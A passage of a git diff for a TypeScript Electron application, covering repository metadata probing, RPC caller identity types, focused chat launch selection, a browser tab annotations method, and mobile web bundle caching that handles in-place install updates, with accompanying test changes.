+  private current(store: RuntimeStore | null, snapshot: Repo): Repo | undefined {
+    if (!store || store !== this.getStore()) {
+      return undefined
+    }
+    const host = getRepoExecutionHostId(snapshot)
+    const found = store.getRepo(snapshot.id)
+    const row =
+      found && getRepoExecutionHostId(found) === host
+        ? found
+        : store
+            .getRepos()
+            .find(
+              (candidate) =>
+                candidate.id === snapshot.id && getRepoExecutionHostId(candidate) === host
+            )
+    return row &&
+      row.path === snapshot.path &&
+      row.kind === snapshot.kind &&
+      row.kind !== 'folder' &&
+      !getRepoSshConnectionId(row) &&
+      !isWslMoveRepoBlocked(row)
+      ? row
+      : undefined
+  }
+
+  private admit(repo: Repo): MetadataJob | undefined {
+    const store = this.getStore()
+    const current = this.current(store, repo)
+    if (!store || !current || (current.upstream !== undefined && current.repoIcon !== undefined)) {
+      return undefined
+    }
+    let jobs = this.jobs.get(store)
+    if (!jobs) {
+      this.jobs.set(store, (jobs = new Map()))
+    }
+    const key = this.key(current)
+    const existing = jobs.get(key)
+    if (existing) {
+      return existing
+    }
+    let finish!: MetadataJob['finish']
+    const done = new Promise<boolean>((resolve) => {
+      finish = resolve
+    })
+    const job: MetadataJob = {
+      store,
+      repo: { ...current },
+      background: false,
+      active: false,
+      required: false,
+      done,
+      finish
+    }
+    jobs.set(key, job)
+    return job
+  }
+
+  private drain(): void {
+    while (this.active < 4) {
+      const queue = this.requiredQueue.size ? this.requiredQueue : this.backgroundQueue
+      if (queue === this.backgroundQueue && this.backgroundActive > 0) {
+        return
+      }
+      const job = queue.values().next().value
+      if (!job) {
+        return
+      }
+      queue.delete(job)
+      job.active = true
+      this.active++
+      const background = !job.required
+      if (background) {
+        this.backgroundActive++
+      }
+      void this.processJob(job, background)
+    }
+  }
+
+  private async processJob(job: MetadataJob, background: boolean): Promise<void> {
+    let changed = false
+    try {
+      changed = await (background && job.batch
+        ? job.batch.run(() => this.probe(job))
+        : this.probe(job))
+    } catch {
+      /* Optional metadata stays retryable. */
+    } finally {
+      this.active--
+      if (background) {
+        this.backgroundActive--
+      }
+      this.retire(job, changed)
+      this.drain()
+    }
+  }
+
+  private retire(job: MetadataJob, changed: boolean): void {
+    const jobs = this.jobs.get(job.store)
+    jobs?.delete(this.key(job.repo))
+    if (jobs?.size === 0) {
+      this.jobs.delete(job.store)
+    }
+    job.finish(changed)
+  }
+
+  private async probe(job: MetadataJob): Promise<boolean> {
+    const { store, repo } = job
+    let current = this.current(store, repo)
+    if (!current) {
+      return false
+    }
+    if (wslDistroForPath(repo.path) && (await blockedWslDistroForPath(repo.path))) {
+      return false
+    }
+    current = this.current(store, repo)
+    if (!current) {
+      return false
+    }
+    const result = await probeRepoUpstream(repo.path, null, {}, current.upstream === undefined)
+    current = this.current(store, repo)
+    if (!current) {
+      return false
+    }
+    const updates: Partial<Repo> = {}
+    if (current.upstream === undefined && result.upstream !== undefined) {
+      updates.upstream = result.upstream
+    }
+    if (
+      current.repoIcon === undefined ||
+      (current.repoIcon?.type === 'image' &&
+        current.repoIcon.source === 'github' &&
+        repo.repoIcon?.type === 'image' &&
+        repo.repoIcon.source === 'github' &&
+        JSON.stringify(current.repoIcon) === JSON.stringify(repo.repoIcon))
+    ) {
+      // Defined null is an explicit origin choice or a proved negative, never the late parent.
+      const upstream = current.upstream === undefined ? result.upstream : current.upstream
+      const slug = githubAvatarSlug(result.origin, upstream)
+      const icon = slug ? githubAvatarIcon(slug) : undefined
+      if (icon && JSON.stringify(icon) !== JSON.stringify(current.repoIcon)) {
+        updates.repoIcon = icon
+      }
+    }
+    return Object.keys(updates).length > 0 && !!store.updateRepo(current, updates)
+  }
 }
diff --git a/src/main/runtime/repositories/runtime-repository-registration-controller.test.ts b/src/main/runtime/repositories/runtime-repository-registration-controller.test.ts
index 5374f64d9a1..8584ec06815 100644
--- a/src/main/runtime/repositories/runtime-repository-registration-controller.test.ts
+++ b/src/main/runtime/repositories/runtime-repository-registration-controller.test.ts
@@ -9,7 +9,7 @@ import { RuntimeRepositoryRegistrationController } from './runtime-repository-re
 import { partialRuntimeStore } from '../orca-runtime-tests/runtime-store-partial-fixture'
 
 vi.mock('../../repository-icons/repo-icon-autodetect', () => ({
-  detectRepoIconAndUpstream: vi.fn().mockResolvedValue({})
+  detectRepoLocalMetadata: vi.fn().mockResolvedValue({})
 }))
 vi.mock('../../workspaces/creation/worktree-root-preparation', () => ({
   prepareLocalWorktreeRootForRepo: vi.fn().mockResolvedValue(undefined)
diff --git a/src/main/runtime/repositories/runtime-repository-registration-controller.ts b/src/main/runtime/repositories/runtime-repository-registration-controller.ts
index bca8931391f..61d975024ee 100644
--- a/src/main/runtime/repositories/runtime-repository-registration-controller.ts
+++ b/src/main/runtime/repositories/runtime-repository-registration-controller.ts
@@ -16,7 +16,7 @@ import { getClonePathComparisonKey, getSavedProjectPathKeys } from '../../git/re
 import { invalidateAuthorizedRootsCache } from '../../ipc/worktrees/removal/registered-worktree-roots-cache'
 import { isENOENT } from '../../ipc/filesystem/access/filesystem-path-containment'
 import { findProjectAtSameRealPath } from '../../workspaces/catalog/project-realpath-identity'
-import { detectRepoIconAndUpstream } from '../../repository-icons/repo-icon-autodetect'
+import { detectRepoLocalMetadata } from '../../repository-icons/repo-icon-autodetect'
 import { prepareLocalWorktreeRootForRepo } from '../../workspaces/creation/worktree-root-preparation'
 import type { RuntimeStore } from '../construction/runtime-store-contract'
 import { runtimePathsEqual } from '../workspaces/catalog/runtime-worktree-path-identity'
@@ -96,7 +96,7 @@ export class RuntimeRepositoryRegistrationController {
       return this.reuseExisting(store, existing, executionHostId)
     }
     // This controller validated/read the path locally; runtime: is the paired-client address, not another machine.
-    const detected = await detectRepoIconAndUpstream({
+    const detected = await detectRepoLocalMetadata({
       repoPath,
       kind,
       executionHostId: LOCAL_EXECUTION_HOST_ID
@@ -229,7 +229,7 @@ export class RuntimeRepositoryRegistrationController {
       repoKind === 'git'
         ? (await inspectGitRepoForRegistrationAsync(targetPath)).rootPath
         : targetPath
-    const detected = await detectRepoIconAndUpstream({
+    const detected = await detectRepoLocalMetadata({
       repoPath,
       kind: repoKind,
       executionHostId: LOCAL_EXECUTION_HOST_ID
diff --git a/src/main/runtime/rpc/core.ts b/src/main/runtime/rpc/core.ts
index 729f5cf8e54..f135d2ae3f8 100644
--- a/src/main/runtime/rpc/core.ts
+++ b/src/main/runtime/rpc/core.ts
@@ -20,7 +20,7 @@ import type {
   DelegatedMobileDeviceSyncResult
 } from '../../../shared/delegated-mobile-device-contract'
 import type { OrchestrationCompatibilityEvidence } from '../../../shared/orchestration/orchestration-compatibility-evidence'
-import type { OrchestrationSessionCaller } from '../orchestration/addressing/orchestration-caller-identity'
+import type { OrchestrationEntryCaller } from '../orchestration/addressing/orchestration-caller-identity'
 import type { RpcCallerIdentity } from './rpc-caller-identity'
 import type { OrcadPeerDesktopsResult } from '../../../shared/orcad-peer-desktops-contract'
 import type { RpcBinarySender } from './rpc-binary-sender'
@@ -91,6 +91,8 @@ export type RpcRequest = {
   params?: unknown
   orchestrationContractVersion?: number
   orchestrationRequestId?: string
+  // Untrusted wire input; only a paired Orca's runtime pairing admits it (orchestration-peer-caller).
+  orchestrationPeerRun?: unknown
   compatibilityInvocationId?: string
   orchestrationCompatibilityEvidence?: OrchestrationCompatibilityEvidence
   // Untrusted wire evidence; runtime-source-admission validates it.
@@ -151,8 +153,8 @@ export type RpcContext = {
   replayedMutationReceipt?: unknown
   // Compare declared Run handles against request attestation.
   orchestrationCompatibilityEvidence?: OrchestrationCompatibilityEvidence
-  // Resolve the injected Orca session id once at dispatch; session identity wins.
-  orchestrationCaller?: OrchestrationSessionCaller
+  // Resolved once at dispatch from a session's environment or a paired Orca's pairing; it wins.
+  orchestrationCaller?: OrchestrationEntryCaller
   // Only the trusted compatibility router sets this; params cannot bypass Run consumer binding.
   legacyCoordinatorRunId?: string
   legacyCoordinatorAuthority?: LegacyCoordinatorAuthorityProof
diff --git a/src/main/runtime/rpc/dispatcher-stream-options.ts b/src/main/runtime/rpc/dispatcher-stream-options.ts
index 551b7db074d..21b77e43870 100644
--- a/src/main/runtime/rpc/dispatcher-stream-options.ts
+++ b/src/main/runtime/rpc/dispatcher-stream-options.ts
@@ -1,6 +1,6 @@
 import type { OrcaRuntimeService } from '../orca-runtime'
 import { captureStructuredAgentCliSource } from '../../native-chat/structured-agent-cli-source'
-import type { OrchestrationSessionCaller } from '../orchestration/addressing/orchestration-caller-identity'
+import type { OrchestrationEntryCaller } from '../orchestration/addressing/orchestration-caller-identity'
 import { isRegistrationFencedUnsubscribe, type RpcContext, type RpcRequest } from './core'
 import { resolveRpcCallerIdentity } from './rpc-caller-identity'
 import type { RpcCallerScope } from './rpc-caller-scope'
@@ -41,7 +41,7 @@ export function rpcContextFromTransport(
   runtime: OrcaRuntimeService,
   request: RpcRequest,
   options: RpcDispatchStreamingOptions | undefined,
-  orchestrationCaller: OrchestrationSessionCaller | undefined,
+  orchestrationCaller: OrchestrationEntryCaller | undefined,
   params?: unknown
 ): RpcContext {
   return {
diff --git a/src/main/runtime/rpc/dispatcher.ts b/src/main/runtime/rpc/dispatcher.ts
index a4daf612975..6262e75373b 100644
--- a/src/main/runtime/rpc/dispatcher.ts
+++ b/src/main/runtime/rpc/dispatcher.ts
@@ -15,7 +15,7 @@ import { withoutMethodsThisHostDoesNotServe } from './methods/terminal/session-t
 import { emulatorProbe, emulatorProbeError } from '../../emulator/emulator-probe'
 import type { OrcaRuntimeService } from '../orca-runtime'
 import { isDurableMutation } from '../../../shared/orchestration/orchestration-rpc-contract'
-import type { OrchestrationSessionCaller } from '../orchestration/addressing/orchestration-caller-identity'
+import type { OrchestrationEntryCaller } from '../orchestration/addressing/orchestration-caller-identity'
 import {
   getOrchestrationMutationExecutor,
   type DurableMutationInvocation,
@@ -45,7 +45,7 @@ type AdmittedUnaryCall = {
   request: RpcRequest
   method: RpcMethod
   params: unknown
-  caller: OrchestrationSessionCaller | undefined
+  caller: OrchestrationEntryCaller | undefined
 }
 
 export class RpcDispatcher {
@@ -231,7 +231,11 @@ export class RpcDispatcher {
       return desktopBrowser.result
     }
 
-    const compatibility = await legacyOrchestration.tryHandle(request, params, context.signal)
+    // A paired Orca is never a legacy caller, so its calls reach only the declared access check.
+    const compatibility =
+      caller?.kind === 'peer'
+        ? { handled: false as const }
+        : await legacyOrchestration.tryHandle(request, params, context.signal)
     if (compatibility.handled) {
       return compatibility.result
     }
@@ -252,22 +256,26 @@ export class RpcDispatcher {
       legacyCoordinator?.mutationCallerFingerprint ?? fallbackCallerFingerprint
     const invoke = (mutation?: DurableMutationInvocation) => {
       const legacyCoordinatorRunId = legacyCoordinator?.revalidate()
-      return runWithActiveRpcCaller(context.caller, () =>
-        method.handler(effectiveParams, {
-          ...context,
-          authenticatedCallerFingerprint: mutation?.identity.callerFingerprint ?? callerFingerprint,
-          recordMutationReceipt: mutation?.recordReceipt,
-          markWorkerDoneMutationEffectFree: mutation?.markWorkerDoneEffectFree,
-          markMutationEffectPossible: mutation?.markEffectPossible,
-          orchestrationMutation: mutation?.identity,
-          replayedMutationReceipt: mutation?.replayedReceipt,
-          legacyCoordinatorRunId,
-          legacyCoordinatorAuthority: legacyCoordinator?.authority,
-          revalidateLegacyCoordinator: legacyCoordinator?.revalidate,
-          orchestrationCompatibilityCallerAuthority:
-            compatibility.orchestrationCompatibilityCallerAuthority,
-          orchestrationCompatibilityEvidence: request.orchestrationCompatibilityEvidence
-        })
+      return runWithActiveRpcCaller(
+        context.caller,
+        () =>
+          method.handler(effectiveParams, {
+            ...context,
+            authenticatedCallerFingerprint:
+              mutation?.identity.callerFingerprint ?? callerFingerprint,
+            recordMutationReceipt: mutation?.recordReceipt,
+            markWorkerDoneMutationEffectFree: mutation?.markWorkerDoneEffectFree,
+            markMutationEffectPossible: mutation?.markEffectPossible,
+            orchestrationMutation: mutation?.identity,
+            replayedMutationReceipt: mutation?.replayedReceipt,
+            legacyCoordinatorRunId,
+            legacyCoordinatorAuthority: legacyCoordinator?.authority,
+            revalidateLegacyCoordinator: legacyCoordinator?.revalidate,
+            orchestrationCompatibilityCallerAuthority:
+              compatibility.orchestrationCompatibilityCallerAuthority,
+            orchestrationCompatibilityEvidence: request.orchestrationCompatibilityEvidence
+          }),
+        request.orchestrationCompatibilityEvidence?.agentSessionId
       )
     }
     const result = await orchestrationMutations.run(
@@ -275,7 +283,7 @@ export class RpcDispatcher {
       effectiveParams,
       invoke,
       callerFingerprint,
-      context.orchestrationCaller?.orcaSessionId
+      context.orchestrationCaller
     )
     if (request.method.startsWith('orchestration.')) {
       queueMicrotask(() => {
diff --git a/src/main/runtime/rpc/methods/agent-launch/agent-launch-caller-selection.test.ts b/src/main/runtime/rpc/methods/agent-launch/agent-launch-caller-selection.test.ts
index 97f3bcf9a9d..9258ac71ab0 100644
--- a/src/main/runtime/rpc/methods/agent-launch/agent-launch-caller-selection.test.ts
+++ b/src/main/runtime/rpc/methods/agent-launch/agent-launch-caller-selection.test.ts
@@ -24,6 +24,7 @@ vi.mock('./agent-launch-terminal-prompt', () => ({
 }))
 const { AGENT_LAUNCH_METHODS } = await import('./agent-launch')
 const AGENT_LAUNCH_REPLAY = methodNamed(AGENT_LAUNCH_METHODS, 'agent.launchReplay')
+const AGENT_LAUNCH = methodNamed(AGENT_LAUNCH_METHODS, 'agent.launch')
 
 const TAB_ID = '9b1deb4d-3b7d-4bad-9bdd-2b0d7b3dcb6d'
 const LEAF_ID = '3f2504e0-4f89-41d3-9a0c-0305e82c3301'
@@ -76,3 +77,14 @@ describe('a replayed launch', () => {
     expect(replay.selectCreatedMobileSessionTabForClient).not.toHaveBeenCalled()
   })
 })
+
+describe('a focused chat launch from the local CLI', () => {
+  it('asks the host window to select the chat', async () => {
+    const runtime = Object.assign(runtimeStub({}), { focusLaunchedChatInHostWindow: vi.fn() })
+    const params = AGENT_LAUNCH.params.parse({ ...EXISTING_LAUNCH, presentation: 'focused' })
+
+    await AGENT_LAUNCH.handler(params, rpcContext(runtime, {}))
+
+    expect(runtime.focusLaunchedChatInHostWindow).toHaveBeenCalledWith('wt-7', 'sess-1')
+  })
+})
diff --git a/src/main/runtime/rpc/methods/agent-launch/agent-launch-caller-selection.ts b/src/main/runtime/rpc/methods/agent-launch/agent-launch-caller-selection.ts
index be3595a64eb..4876683f976 100644
--- a/src/main/runtime/rpc/methods/agent-launch/agent-launch-caller-selection.ts
+++ b/src/main/runtime/rpc/methods/agent-launch/agent-launch-caller-selection.ts
@@ -11,6 +11,8 @@ import { parsePaneKey } from '../../../../../shared/workspace-layout/stable-pane
 import type { OrcaRuntimeService } from '../../../orca-runtime'
 import type { RpcContext } from '../../core'
 import { clientRendersStructuredAgent } from '../structured-sessions/structured-agent-session-policy'
+import type { AgentLaunchParams } from '../../../../../shared/rpc-contract/agent-launch-params'
+import { agentLaunchTabViewerRule } from './agent-launch-tab-publication'
 
 /** The paired client whose view this launch should move, or null when it moves the host's. */
 export function agentLaunchCallerNavigationId(
@@ -23,7 +25,7 @@ export function agentLaunchCallerNavigationId(
 }
 
 /** Bookkeeping, never a gate: the agent already runs, so a failure here only leaves the view as it was. */
-export function selectAgentLaunchTabForCaller(
+function selectAgentLaunchTabForCaller(
   runtime: Pick<OrcaRuntimeService, 'selectCreatedMobileSessionTabForClient'>,
   surface: AgentLaunchPublishedSurface,
   clientNavigationId: string
@@ -54,6 +56,28 @@ export function selectAgentLaunchTabForCaller(
   }
 }
 
+/** Moves the view the launch asked for: the paired caller's own, or the host window's to a focused chat. */
+export function selectLaunchedTab(
+  context: Pick<RpcContext, 'runtime' | 'caller' | 'clientKind'>,
+  surface: AgentLaunchPublishedSurface,
+  presentation: AgentLaunchParams['presentation'],
+  callerNavigationId: string | null
+): void {
+  if (callerNavigationId !== null) {
+    if (presentation !== 'background') {
+      selectAgentLaunchTabForCaller(context.runtime, surface, callerNavigationId)
+    }
+    return
+  }
+  // A terminal's reveal selects its own tab; a chat's listing alone never moves the window (#5435).
+  if (
+    surface.outcome.kind === 'structured' &&
+    agentLaunchTabViewerRule(context, presentation) === 'focus-window'
+  ) {
+    context.runtime.focusLaunchedChatInHostWindow(surface.worktreeId, surface.outcome.sessionId)
+  }
+}
+
 /**
  * `agent.launch.v2` was defined when Claude and Codex were the only chats, so it vouches for those
  * two. Any other agent's chat needs the client to say it reads it, by the rule tabs and restart
diff --git a/src/main/runtime/rpc/methods/agent-launch/agent-launch.ts b/src/main/runtime/rpc/methods/agent-launch/agent-launch.ts
index 9153c60688d..ce81b25b229 100644
--- a/src/main/runtime/rpc/methods/agent-launch/agent-launch.ts
+++ b/src/main/runtime/rpc/methods/agent-launch/agent-launch.ts
@@ -42,7 +42,7 @@ import {
 import {
   agentLaunchCallerNavigationId,
   callerRendersLaunchedChat,
-  selectAgentLaunchTabForCaller
+  selectLaunchedTab
 } from './agent-launch-caller-selection'
 import { agentLaunchWorkspaceFactory } from './agent-launch-worktree-creation'
 import {
@@ -89,9 +89,7 @@ async function runAgentLaunch(
       }
       view.early?.surfacePublished(surface)
       replaySafe?.recordSurface(withPlacement(surface, view))
-      if (callerNavigationId !== null && view.presentation !== 'background') {
-        selectAgentLaunchTabForCaller(context.runtime, surface, callerNavigationId)
-      }
+      selectLaunchedTab(context, surface, view.presentation, callerNavigationId)
     }
   })
   return withPlacement(result, view)
diff --git a/src/main/runtime/rpc/methods/browser/browser-core.ts b/src/main/runtime/rpc/methods/browser/browser-core.ts
index d9d6d14ed1f..6edf1f772ba 100644
--- a/src/main/runtime/rpc/methods/browser/browser-core.ts
+++ b/src/main/runtime/rpc/methods/browser/browser-core.ts
@@ -118,6 +118,12 @@ export const BROWSER_CORE_METHODS = [
     params: TabCurrent,
     handler: async (params, { runtime }) => runtime.browserTabCurrent(params)
   }),
+  defineMethod({
+    name: 'browser.tabAnnotations',
+    permission: 'workspace',
+    params: BrowserTarget,
+    handler: async (params, { runtime }) => runtime.browserTabAnnotations(params)
+  }),
   defineMethod({
     name: 'browser.tabSwitch',
     permission: 'workspace',
diff --git a/src/main/runtime/rpc/methods/browser/desktop-browser-bridge.ts b/src/main/runtime/rpc/methods/browser/desktop-browser-bridge.ts
index eac4e3e6047..8780e8f932b 100644
--- a/src/main/runtime/rpc/methods/browser/desktop-browser-bridge.ts
+++ b/src/main/runtime/rpc/methods/browser/desktop-browser-bridge.ts
@@ -2,6 +2,7 @@ import {
   DESKTOP_BROWSER_BRIDGE_CANCEL_CAPABILITY,
   DESKTOP_BROWSER_BRIDGE_EXPECT_URL_CAPABILITY,
   DESKTOP_BROWSER_BRIDGE_RUNTIME_CAPABILITY,
+  DESKTOP_BROWSER_BRIDGE_TAB_ANNOTATIONS_CAPABILITY,
   DesktopBrowserBridgeAttachParams,
   DesktopBrowserBridgeResultParams
 } from '../../../../../shared/desktop-browser-bridge-protocol'
@@ -45,6 +46,9 @@ export const DESKTOP_BROWSER_BRIDGE_RPC_METHODS = [
         enforcesExpectUrl:
           context.clientCapabilities?.includes(DESKTOP_BROWSER_BRIDGE_EXPECT_URL_CAPABILITY) ??
           false,
+        readsTabAnnotations:
+          context.clientCapabilities?.includes(DESKTOP_BROWSER_BRIDGE_TAB_ANNOTATIONS_CAPABILITY) ??
+          false,
         emit
       })
       let release = (): void => {}
diff --git a/src/main/runtime/rpc/methods/mobile-delivery/bundled-mobile-web-bundle.ts b/src/main/runtime/rpc/methods/mobile-delivery/bundled-mobile-web-bundle.ts
index 62878b48a72..3cc62c1c7f9 100644
--- a/src/main/runtime/rpc/methods/mobile-delivery/bundled-mobile-web-bundle.ts
+++ b/src/main/runtime/rpc/methods/mobile-delivery/bundled-mobile-web-bundle.ts
@@ -1,8 +1,9 @@
-import { existsSync, readFileSync } from 'node:fs'
+import { existsSync } from 'node:fs'
+import { readFile } from 'node:fs/promises'
 import { join } from 'node:path'
 import { getAppEnvironment, hasAppEnvironment } from '../../../../../shared/app-environment'
 import {
-  MobileWebBundleManifestSchema,
+  InstalledMobileWebBundleManifestSchema,
   type MobileWebBundleManifest
 } from '../../../../../shared/mobile-web-bundle/manifest-contract'
 
@@ -14,47 +15,63 @@ export type BundledMobileWebBundle = {
 }
 
 /** AppEnvironment keeps runtime imports Node-safe; absent environment means no install root.
- * Probe app.asar/out and unpacked entrypoint layouts like getBundledWebClientRoot. */
+ * Probe packaged and unpacked entrypoint layouts like findBundledWebClientRoot. */
 export function getBundledMobileWebBundleRoot(): string | undefined {
   if (!hasAppEnvironment()) {
     return undefined
   }
   const appPath = getAppEnvironment().getAppPath()
-  const roots = [
-    join(appPath, 'out', 'mobile-web'),
-    // Unpacked electron-vite sets appPath to out/main.
-    join(appPath, '..', 'mobile-web')
-  ]
-  return roots.find((root) => existsSync(join(root, MANIFEST_FILENAME)))
-}
-
-// Installs are immutable until restart; undefined means unprobed, null means absent.
-let cachedBundle: BundledMobileWebBundle | null | undefined
-
-export function loadBundledMobileWebBundle(): BundledMobileWebBundle | null {
-  if (cachedBundle === undefined) {
-    cachedBundle = readBundledMobileWebBundle()
+  if (probedRoot?.appPath === appPath) {
+    return probedRoot.root
   }
-  return cachedBundle
+  // Electron reads app.asar paths through the header it parsed at launch, which misses files an in-place update wrote.
+  const filesPath = appPath.endsWith('.asar') ? `${appPath}.unpacked` : appPath
+  const roots = [
+    join(filesPath, 'out', 'mobile-web'),
+    // Unpacked electron-vite sets appPath to out/main.
+    join(filesPath, '..', 'mobile-web')
+  ]
+  const root = roots.find((candidate) => existsSync(join(candidate, MANIFEST_FILENAME)))
+  // An install keeps its layout, so only a miss is probed again (a dev build may produce the bundle later).
+  if (root) {
+    probedRoot = { appPath, root }
+  }
+  return root
 }
 
-export function resetBundledMobileWebBundleCacheForTests(): void {
-  cachedBundle = undefined
-}
+let probedRoot: { appPath: string; root: string } | undefined
 
-function readBundledMobileWebBundle(): BundledMobileWebBundle | null {
+// Linux package managers replace the install under a running app, so the cache holds only while manifest.json's bytes do.
+let cached: { root: string; raw: Buffer; bundle: BundledMobileWebBundle | null } | undefined
+
+export async function loadBundledMobileWebBundle(): Promise<BundledMobileWebBundle | null> {
   const root = getBundledMobileWebBundleRoot()
   if (!root) {
     return null
   }
   const manifestPath = join(root, MANIFEST_FILENAME)
-  let raw: string
+  let raw: Buffer
   try {
-    raw = readFileSync(manifestPath, 'utf8')
+    raw = await readFile(manifestPath)
   } catch (error) {
     console.warn(`[mobile-web-bundle] cannot read ${manifestPath}:`, error)
     return null
   }
+  if (cached?.root !== root || !cached.raw.equals(raw)) {
+    cached = {
+      root,
+      raw,
+      bundle: parseBundledMobileWebBundle(root, manifestPath, raw.toString('utf8'))
+    }
+  }
+  return cached.bundle
+}
+
+function parseBundledMobileWebBundle(
+  root: string,
+  manifestPath: string,
+  raw: string
+): BundledMobileWebBundle | null {
   let parsed: unknown
   try {
     parsed = JSON.parse(raw)
@@ -62,7 +79,7 @@ function readBundledMobileWebBundle(): BundledMobileWebBundle | null {
     console.warn(`[mobile-web-bundle] ${manifestPath} is not valid JSON:`, error)
     return null
   }
-  const manifest = MobileWebBundleManifestSchema.safeParse(parsed)
+  const manifest = InstalledMobileWebBundleManifestSchema.safeParse(parsed)
   if (!manifest.success) {
     // Bad dev/hand-edited bundles must degrade to absent, not crash a phone-accessible path.
     console.warn(`[mobile-web-bundle] ${manifestPath} does not match the manifest contract:`, {
diff --git a/src/main/runtime/rpc/methods/mobile-delivery/mobile-web-bundle-asset-reader.ts b/src/main/runtime/rpc/methods/mobile-delivery/mobile-web-bundle-asset-reader.ts
index e429c63e881..4d8167004a4 100644
--- a/src/main/runtime/rpc/methods/mobile-delivery/mobile-web-bundle-asset-reader.ts
+++ b/src/main/runtime/rpc/methods/mobile-delivery/mobile-web-bundle-asset-reader.ts
@@ -11,7 +11,7 @@ export function resetMobileWebBundleAssetVerdictsForTests(): void {
   verdicts.clear()
 }
 
-/** Cache one asset hash verdict per build; store the pending promise before await so concurrent readers share the hash. */
+/** Cache one passing asset hash verdict per build; store the pending promise before await so concurrent readers share the hash. */
 export function verifyMobileWebBundleAsset(
   root: string,
   buildId: string,
@@ -22,11 +22,16 @@ export function verifyMobileWebBundleAsset(
   if (cached) {
     return cached
   }
-  const verdict = hashAsset(root, asset).then(undefined, (error: unknown) => {
-    // A read that failed is not evidence the bytes changed, so it is not remembered as a verdict.
-    verdicts.delete(key)
-    throw error
-  })
+  const verdict = hashAsset(root, asset)
+  // Keep only a match: a package install may still be writing this build's files, and a failed read proves nothing.
+  void verdict.then(
+    (matches) => {
+      if (!matches) {
+        verdicts.delete(key)
+      }
+    },
+    () => verdicts.delete(key)
+  )
   verdicts.set(key, verdict)
   return verdict
 }
diff --git a/src/main/runtime/rpc/methods/mobile-delivery/mobile-web-bundle-range.test.ts b/src/main/runtime/rpc/methods/mobile-delivery/mobile-web-bundle-range.test.ts
index 5553b263030..ec3cab87d4d 100644
--- a/src/main/runtime/rpc/methods/mobile-delivery/mobile-web-bundle-range.test.ts
+++ b/src/main/runtime/rpc/methods/mobile-delivery/mobile-web-bundle-range.test.ts
@@ -13,8 +13,6 @@ import {
   type MobileWebBundleRangeResult
 } from '../../../../../shared/mobile-web-bundle/bundle-rpc-contract'
 
-import { resetBundledMobileWebBundleCacheForTests } from './bundled-mobile-web-bundle'
-
 import type { RpcResponse } from '../../core'
 import type { RpcDispatcher } from '../../dispatcher'
 
@@ -66,7 +64,6 @@ const INCOMPRESSIBLE: SyntheticAsset = (() => {
 beforeEach(() => {
   scratch = mkdtempSync(join(tmpdir(), 'orca-mobile-web-bundle-range-'))
   installMobileWebBundleAppPath(scratch)
-  resetBundledMobileWebBundleCacheForTests()
   resetMobileWebBundleAssetVerdictsForTests()
   resetMobileWebBundleReadAdmissionForTests()
   vi.spyOn(console, 'warn').mockImplementation(() => {})
diff --git a/src/main/runtime/rpc/methods/mobile-delivery/mobile-web-bundle-window-refusals.test.ts b/src/main/runtime/rpc/methods/mobile-delivery/mobile-web-bundle-window-refusals.test.ts
index e4ffbf35e4b..33ee1e2c731 100644
--- a/src/main/runtime/rpc/methods/mobile-delivery/mobile-web-bundle-window-refusals.test.ts
+++ b/src/main/runtime/rpc/methods/mobile-delivery/mobile-web-bundle-window-refusals.test.ts
@@ -7,7 +7,6 @@ import {
   MOBILE_WEB_BUNDLE_CHUNK_METHOD,
   MOBILE_WEB_BUNDLE_RANGE_METHOD
 } from '../../../../../shared/mobile-web-bundle/bundle-rpc-contract'
-import { resetBundledMobileWebBundleCacheForTests } from './bundled-mobile-web-bundle'
 import type { RpcResponse } from '../../core'
 import type { RpcDispatcher } from '../../dispatcher'
 import { resetMobileWebBundleAssetVerdictsForTests } from './mobile-web-bundle-asset-reader'
@@ -32,7 +31,6 @@ function errorMessage(response: RpcResponse): string | undefined {
 beforeEach(() => {
   scratch = mkdtempSync(join(tmpdir(), 'orca-mobile-web-bundle-window-'))
   installMobileWebBundleAppPath(scratch)
-  resetBundledMobileWebBundleCacheForTests()
   resetMobileWebBundleAssetVerdictsForTests()
   resetMobileWebBundleReadAdmissionForTests()
   vi.spyOn(console, 'warn').mockImplementation(() => {})
diff --git a/src/main/runtime/rpc/methods/mobile-delivery/mobile-web-bundle.test.ts b/src/main/runtime/rpc/methods/mobile-delivery/mobile-web-bundle.test.ts
index 4ad687cb8f2..71549b9a859 100644
--- a/src/main/runtime/rpc/methods/mobile-delivery/mobile-web-bundle.test.ts
+++ b/src/main/runtime/rpc/methods/mobile-delivery/mobile-web-bundle.test.ts
@@ -1,4 +1,12 @@
-import { mkdirSync, mkdtempSync, rmSync, truncateSync, unlinkSync, writeFileSync } from 'node:fs'
+import {
+  mkdirSync,
+  mkdtempSync,
+  readFileSync,
+  rmSync,
+  truncateSync,
+  unlinkSync,
+  writeFileSync
+} from 'node:fs'
 
 import { tmpdir } from 'node:os'
 
@@ -18,8 +26,6 @@ import type { RpcRequest, RpcResponse } from '../../core'
 import '../../../../../shared/orcad-artifacts'
 import type { RpcDispatcher } from '../../dispatcher'
 
-import { resetBundledMobileWebBundleCacheForTests } from './bundled-mobile-web-bundle'
-
 import {
   fillMobileWebBundleReadWindow,
   resetMobileWebBundleAssetVerdictsForTests
@@ -85,7 +91,6 @@ async function download(buildId: string, path: string): Promise<{ bytes: Buffer;
 beforeEach(() => {
   scratch = mkdtempSync(join(tmpdir(), 'orca-mobile-web-bundle-'))
   installMobileWebBundleAppPath(scratch)
-  resetBundledMobileWebBundleCacheForTests()
   resetMobileWebBundleAssetVerdictsForTests()
   resetMobileWebBundleReadAdmissionForTests()
   vi.spyOn(console, 'warn').mockImplementation(() => {})
@@ -140,19 +145,43 @@ describe('an install that carries a mobile web bundle', () => {
     expect(body).toMatchObject({ dataBase64: '', eof: true, assetByteLength: 0 })
   })
 
-  // After auto-update, report build-changed before path lookup so clients restart from the manifest.
-  it('refuses the old buildId after the install swaps bundles mid-download', async () => {
+  // Linux package managers replace the install under a running host (STA-14385): serve the new build, never the gone one.
+  it('serves the replacement build after the install swaps bundles under a running host', async () => {
     const script = bundle.assets.find((asset) => asset.path.endsWith('.js'))!
+    expect((await call('mobileWeb.bundle.manifest')).ok).toBe(true)
     expect((await chunk({ buildId: bundle.buildId, path: script.path, offset: 0 })).ok).toBe(true)
 
     rmSync(join(scratch, 'out', 'mobile-web'), { recursive: true, force: true })
     const replacement = writeSyntheticMobileWebBundle(join(scratch, 'out', 'mobile-web'), 2)
-    resetBundledMobileWebBundleCacheForTests()
     expect(replacement.buildId).not.toBe(bundle.buildId)
 
     const stale = await chunk({ buildId: bundle.buildId, path: script.path, offset: 0 })
+    const manifest = await call('mobileWeb.bundle.manifest')
+    const fresh = await chunk({ buildId: replacement.buildId, path: 'index.html', offset: 0 })
 
